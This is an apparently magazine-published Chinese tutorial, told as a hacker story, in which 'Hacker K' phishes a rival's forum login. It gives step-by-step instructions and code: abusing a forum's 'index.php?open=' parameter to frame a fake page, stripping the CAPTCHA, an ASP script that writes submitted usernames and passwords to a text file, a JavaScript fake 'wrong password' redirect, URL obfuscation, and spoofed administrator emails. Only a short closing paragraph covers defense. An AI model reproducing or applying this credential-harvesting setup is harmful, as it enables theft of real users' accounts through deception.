网络钓鱼“愿”者上钩

网络安全

博弈主题:网络钓鱼

技术难度:★★★★

重点知识:假冒真实网站登录页面进行网络钓鱼

钓鱼须静坐岸边,心静如水,除了耐心等待、仔细观察鱼漂之外,还有另一个重要的技巧,就是准备鱼饵。鱼饵是直接诱使鱼上钩的陷阱,饵料越有诱惑力,鱼儿扑向鱼饵咬钩的几率也越高,黑客K为小蝶准备了一个真假难辨的网页准备实施网络钓鱼。

上期小蝶通过闪存巧妙地窃取走了黑客K闪存中的大量文档,一向自诩为黑客高手的黑客K受到挫折,他意识到自己的身边存在同行……

黑客K发现了杜金电脑中的“陷阱”,之后他回到了自己的办公室,聚精会神地检测自己的电脑。排查后发现,自己的邮箱、论坛、网络硬盘等都有被入侵的痕迹。这是谁干的?难道也是老板形容的那个女孩子干的吗?还是有第三名黑客的存在?

"不用猜了,调查她后不就知道了!"黑客K决定用排除法来判断是否有第三名黑客。通过互联网域名查询系统,黑客K从杜金电脑上传的FTP地址中获得了小蝶的电子邮件地址。黑客K搜索小蝶的邮箱地址,得到大量信息,其中就包含了许多小蝶在各个论坛中的发言。

经过仔细分析后,黑客K设计了一个针对小蝶的网络钓鱼计划。他首先要摸清小蝶经常登录的网站论坛,并记录小蝶对哪些话题感兴趣。其次在这些论坛中寻找URL地址中包含有“/index.php?open=”、“/index.php?include=”或者“/index.php?main.php=”的网站。包含有这些链接的论坛都通过框架形式将自己的网页分为左右两边,而这正是网络钓鱼的最佳地点。最后,仿制这些网站的登录页面,制作一个一半真实一半虚假的高欺骗性网络钓鱼站点即可。

小知识:“网络钓鱼(Phishing)”是一种网络诈骗手段,攻击者利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,受骗者一不小心就可能会泄露自己的私人数据,例如信用卡号等。

伪装网页,制作“鱼饵”

黑客K仔细研究了小蝶在各大论坛的活动痕迹,分析了小蝶的心理特征。之后,他开始着手在小蝶经常登录的论坛中寻找适合的网站,很快他发现小蝶经常光顾的一个论坛很合适(URL链接地址为http://bbs.hacker.com/index.php?open=index.php)。

黑客K凭直觉将“/index.php?open=index.php”修改为“/index.php?open=http://www.google.cn/”后,发现网页果然能够调出Google的网站,黑客K知道,这也就意味着“open=”后面可以替换成任意一个他指定的网站,这自然是制造虚实合一的钓鱼网页的绝佳“垂钓站点”。

找到了合适的目标网站,接下来是制作一个高仿真的页面。黑客K首先在IE浏览器中打开该论坛的登录界面,在网页的右侧点击鼠标右键,然后在弹出的菜单中选择“查看源文件”。在没有安装网页编辑软件的情况下,此时会弹出操作系统中的“记事本”程序显示该网页的源代码。黑客K将弹出的源代码保存到在自己指定的位置(图1)。

23-f15-1.jpg
图1

由于这个论坛在用户登录的时候需要输入验证码,为了减少不必要的麻烦,黑客K必须让验证码形同虚设。黑客K打开自己保存的网页源代码,然后开始在记事本“编辑”的“查找”功能中搜寻“验证码”三个字特征字符。很快他就找到了这段与验证码有关的代码:

<TD>验证码</TD>

<TD><INPUT tabindex=3 maxLength=4 size=8 name=gdcode>

<IMG src="post_files/yanzheng.bmp" align=absMiddie>

</TD></TR>

黑客K将这部分代码删除后,验证码立刻就失效了。随后黑客K开始编写盗取小蝶登录名与密码的脚本程序,他选择自己最熟悉的ASP语言,他打开记事本开始飞快地输入如下代码:

<%

bbsuser =request("bbsuser ")

bbspwd =request("bbspwd ")

set fs=server.CreateObject("Scripting.FileSystemObject")

//开启文件服务

set file=fs.OpenTaxtFile(server.MapPath("小蝶密码.txt"),8,True)

//创建打开"小蝶密码.txt"

file.writeline bbsuser +"----"+ bbspwd

//将获得的用户名密码写入"小蝶密码.txt"

file.close

set file=nothing

set fs=nothing

%>

代码非常的简单,获取提交表单中的用户名和密码,然后将用户名和密码保存在创建的“小蝶密码.txt”文件中。黑客K将这段代码保存为“k.asp”之后总感觉少了一些什么。他仔细在脑海中演练模拟小蝶点击论坛输入用户名和密码的全过程,突然他找到了问题所在。

这段代码虽然能够捕捉到小蝶的密码,但是也很容易被小蝶察觉网页有问题,因为小蝶在输入完用户名和密码后点击“登录”按钮,什么都不会发生,这肯定会让她有所警觉。黑客K输入了完整代码,其中关键代码如下所示(完整代码下载地址:http://www.shudoo.com/bzsoft):

<script>alert('您输入的密码错误,请点击确定重新输入!')</script>

<body onload="newwin()">

<script language="JavaScript">

<!--Hide form old browsers>

//begin

function newwin()

{

var urlname;

var attribution;

attribution='toolbar=yes,menubar=yes,scrollbars=yes,status=yes,location=yes,resizable=yes,widt=1024,height=768';

URLname="在这里添加论坛真实的登录网址";

window.open(URLname,'win',attribution);

}

添加完这段代码后,小蝶在钓鱼页面输入用户名、密码登录后,网页会立刻弹出一个对话框,提示小蝶的密码输入错误了,并在小蝶点击确定后,指向论坛中正确的登录页面——保证让小蝶再次顺利登录。

黑客K随后将“k.asp”文件上传到自己的网站中,接着又打开刚才保存的论坛登录页面源代码,在HTML代码中找到提交表单的代码,对登录提交页面做了最后的修改“<FORM name=login action=http://网站地址/k.asp method=post>”。修改完成并,黑客K将页面另存为“denglu.html”并上传到网站。此时,黑客K的鱼饵已经顺利制作完成,接下来他需要做的是如何诱使小蝶上钩。

强化伪装,垂钓小蝶

黑客K将“http://bbs.hacker.com/index.php?open= http://网站地址/denglu.html”输入浏览器测试后,程序顺利通过,用来保存小蝶密码的TXT文件创建了。但他很快又觉得“open= http://网站地址/denglu.html”这个地址似乎太过明显,一场高手的较量细节是最重要的,细节往往决定了最终的胜败。

黑客K登录到http://www.hao123.com/haoserver/htmeng.htm,将“http://网站地址/denglu.html”地址加密,夹杂着%的复杂地址大大提高了URL地址的迷惑性(图2)。

23-转义4.jpg
图2

随后黑客K以该论坛管理员的名义写了几封热情洋溢的电子邮件,大致内容都是“论坛中出现一个非常有意思的话题,希望小蝶能够跟大家一起参与讨论”之类的内容,当然邮件的结尾处都会出现经过伪装后的钓鱼网址。

接下来的日子里,黑客K就如同一个暮年的垂钓者一样,耐心而平静地等待,他每天定时登录自己的网站,查看记录密码的TXT文件,接着变化不同的话题给小蝶发电子邮件,他知道,耐心是每一个垂钓者都需要具备的,在不久之后,他终于等到了咬钩的鱼儿——小蝶的用户名和密码。

辨别真假网站

防范网络钓鱼的手段很简单,首先可以通过Google对URL地址进行搜索,往往能够检查出一部分钓鱼网站URL的真实性。其次可以通过点击网站中的其他链接地址,判断自己熟悉的网站是否被掉包了。当然最重要的是不要轻信任何陌生人给出的链接地址,危险往往就隐藏在其中。

黑客K再次检测电脑时发现了有另外一名黑客入侵了自己的电脑,他修改了自己的注册表在IE浏览器的默认空白页面中添加了挂马的代码,原来木马的噩梦一直伴随着黑客K……